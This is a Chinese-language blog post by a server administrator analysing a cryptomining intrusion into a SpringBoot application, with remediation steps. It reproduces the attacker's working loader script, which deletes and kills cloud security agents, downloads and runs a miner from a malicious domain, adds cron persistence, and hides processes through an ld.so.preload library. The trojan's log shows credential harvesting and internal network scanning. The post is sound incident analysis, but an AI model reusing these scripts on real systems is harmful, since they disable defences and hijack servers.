常在河边走,哪能不湿鞋。自认为安全防范意识不错,没想到服务器被入侵挖矿的事情也能落到自己头上。
本文简要记录发现服务器被入侵挖矿的过程,同时分析木马的痕迹和信息,最后给出解决方法。
服务器被入侵挖矿过程
事情经过
昨天是周六,睡得比较晚。躺床上玩手机时忽然收到阿里云短信和邮件提醒,服务器有异常行为:
一看邮件内容就知道不得了,赶紧打开电脑处理。
首先用 netstat
命令查看端口,发现一个异常的端口,但不显示程序名。这时心里已经很清楚,服务器上的Java程序被远程执行代码(RCE),也许还被植入了rootkit
。
首要问题是保障业务正常可用,于是快速拉起另外一个实例,将业务迁移过去。接下来, 首先将被入侵服务器关机,然后一步步研究入侵过程,以及其在服务器上的行为。
入侵行为分析
根据邮件内容,一个SpringBoot应用被getshell并被执行远程代码。被执行的代码语句base64解码后为:
python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
将其下载,内容如下:
import sys import os from os.path import expanduser ver=sys.version shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs dirname | xargs rm -rf ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs -I {} kill -9 {} ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs -I {} kill -9 {} rm -rf /usr/local/aegis rm -rf /usr/local/qcloud rm -rf /usr/local/hostguard/bin ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs -I {} kill -9 {} ''' os.system(shs) domainroota="m.windowsupdatesupport.org" #domainroota="192.168.67.131" #$domainroota #curl http://$domainroota/d/kworkers -o $gitdir/kworkers homedir=expanduser("~") gitdir="" try: os.mkdir(homedir+"/.git") except Exception as e: print(e) if os.path.isdir(homedir+"/.git"): gitdir=homedir+"/.git" try: os.mkdir("./.git") except Exception as e: print(e) if os.path.isdir("./.git"): gitdir="./.git" downloadu="http://{}/d/kworkers".format(domainroota) if ver.startswith("3"): import urllib.request with urllib.request.urlopen(downloadu) as f: html = f.read() open(gitdir + "/kworkers", 'wb').write(html) else: import urllib2 with open(gitdir + "/kworkers", 'wb') as f: f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read()) f.close() print ("Download Complete!") os.system("chmod 777 "+gitdir+"/kworkers") if os.path.isfile('/.dockerenv'): os.system(gitdir+"/kworkers") else: os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))
远程代码主要做了这些事情:
- 卸载服务器上的安全监控工具;事后开机,发现阿里云盾果然被卸载了;
- 关掉所有kworkers进程;
- 在当前目录下创建
.git
目录,下载并执行kworkers程序。
上网搜了一下kworkers,发现是挖矿应用,并非加密勒索等木马,心里稍微安心一点。通过阿里云后台监控,可以看到木马入侵后,短时间内cpu占用率飙升(本人处理及时,木马挖矿时间大概持续5分钟左右):
服务器残留痕迹
大概知道了木马的行为,接着重启服务器,查看服务器上的痕迹。
1. 查看有无添加定时任务:
# crontab -l 0 2 * * * /xxx/.git/kworkers
木马添加了定时启动任务。
2. 进入木马主目录,发现下载了如下文件:
此外,上层目录和家目录还多了 cert_key.pem
和 cert.pem
两个文件,分别存放公钥和密钥。
3. 查看木马留下的日志,有如下内容:
/xxx/.git /xxx/.git working dir /xxx from pid 23684 version not exist download Downloaded: http://m.windowsupdatesupport.org/d/download version not exist dbus Downloaded: http://m.windowsupdatesupport.org/d/dbus version not exist hideproc.sh Downloaded: http://m.windowsupdatesupport.org/d/hideproc.sh error exit status 1version not exist sshkey.sh Downloaded: http://m.windowsupdatesupport.org/d/sshkey.sh version not exist autoupdate Downloaded: http://m.windowsupdatesupport.org/d/autoupdate version not exist kworkers Key path not found /xxx/.git passfound protected passfound provided passfound +client passfound +client passfound protected passfound provided passfound quality passfound (plus passfound (digits, passfound prompt found aksk xxxx xxxx found aksk xxxx xxxx passfound xxx passfound xxx passfound xxx passfound xxx passfound xxx passfound xxx lstat /proc/7776/fd/3: no such file or directory lstat /proc/7776/fdinfo/3: no such file or directory lstat /proc/7776/task/7776/fd/3: no such file or directory lstat /proc/7776/task/7776/fdinfo/3: no such file or directory lstat /proc/7776/task/7777/fd/3: no such file or directory lstat /proc/7776/task/7777/fdinfo/3: no such file or directory lstat /proc/7776/task/7778/fd/3: no such file or directory lstat /proc/7776/task/7778/fdinfo/3: no such file or directory lstat /proc/7776/task/7779/fd/3: no such file or directory lstat /proc/7776/task/7779/fdinfo/3: no such file or directory lstat /proc/7776/task/7780/fd/3: no such file or directory lstat /proc/7776/task/7780/fdinfo/3: no such file or directory lstat /proc/7776/task/7781/fd/3: no such file or directory lstat /proc/7776/task/7781/fdinfo/3: no such file or directory lstat /proc/7776/task/7782/fd/3: no such file or directory lstat /proc/7776/task/7782/fdinfo/3: no such file or directory lstat /proc/7776/task/7783/fd/3: no such file or directory lstat /proc/7776/task/7783/fdinfo/3: no such file or directory restart cmd /xxx/.git/kworkers /xxx/.git passfound file, passfound settings passfound file. passfound callbacks passfound Callback passfound example passfound prompt passfound password passfound information passfound token passfound token passfound token passfound Password passfound password passfound password passfound -based passfound Password passfound (using passfound field> passfound retry passfound foobar passfound foobar passfound foobar passfound foobar passfound foobar passfound password passfound password passfound foobar passfound foobar passfound secretr total passwords 25 xxx.xxx.xxx.xxx lan ip doscan range xxx.xxx.0.0/16 ping... Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309µs working dir /xxx from pid 7792 Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973µs xxx.xxx.xxx is alive xxx.xxx.xxx is alive xxx.xxx.xxx:80 open xxx.xxx0xxx:443 open version same download version same dbus restart dbus exec again dbus downrun kill process pid 23709 process completed version same hideproc.sh skip restart hideproc.sh version same sshkey.sh skip restart sshkey.sh version same autoupdate skip restart autoupdate version same kworkers Key path not found
根据日志,主要是下载程序,检测用户名和密码,探测内网,然后启动自动更新、隐藏进程等程序。
4. 对hideproc.sh
感兴趣,其内容为:
if [ "$EUID" -ne 0 ] then echo "Please run as root" else if [ `grep libc2.28 /etc/ld.so.preload` ] then echo "hideproc already done!!" else apt-get update -y apt-get install build-essential -y yum check-update yum install build-essential -y dnf groupinstall "Development Tools" -y yum group install "Development Tools" -y curl http://m.windowsupdatesupport.org/d/processhider.c -o processhider.c gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl mv libc2.28.so /usr/local/lib/ -f grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload rm -f processhider.c ls >/tmp/.1 2>&1 grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload fi fi
其首先检测是否root用户,然后编译libc2共享库,注入隐藏进程的代码。这应该是用netstat
无法查看到进程名的原因。
5. 查看访问日志,发现期间有个IP对服务器进行爆破:
其他信息
除了上述文件,/tmp
文件夹下还生成了.1和.1.sh文件;
查询可疑ip,位于国内北京市,应该是肉鸡;
查询木马下载域名windowsupdatesupport.org,今年6月注册,解析ip都在国外。该域名很有混淆性,并且为了方便直接用http访问;
除了下载木马文件挖矿,未改变服务器上的其他数据。
服务器被入侵挖矿解决办法
虽然知道是SpringBoot应用触发了RCE,但遗憾目前仍未找到是哪个包导致的漏洞。目前采取的缓解措施为:
1. 被入侵服务器重装系统;
2. 使用非root用户启动SpringBoot应用;
3. 被入侵的是子系统,增加基本授权:
apt install -y apache2-utils htpasswd /etc/nginx/conf.d/.htpasswd user
然后配置Nginx使用认证信息:
server { ... auth_basic "子系统鉴权:"; auth_basic_user_file /etc/nginx/conf.d/.htpasswd; .. }
4. 防火墙限制对外连接。
上述错误能一定程度上避免类似情况再次发生,但找到应用程序中的漏洞才是接下来的重点。
总结
幸运的是这次来的是挖矿木马,服务器上的程序和数据都未受影响。也很感谢阿里云免费的安全提醒,让我在第一时间处理。
但这次事故也敲醒了警钟:
- 不要随意用root权限运行程序;
- 防火墙权限要严格收紧;
- 做好安全监控;
- 时刻做好数据备份。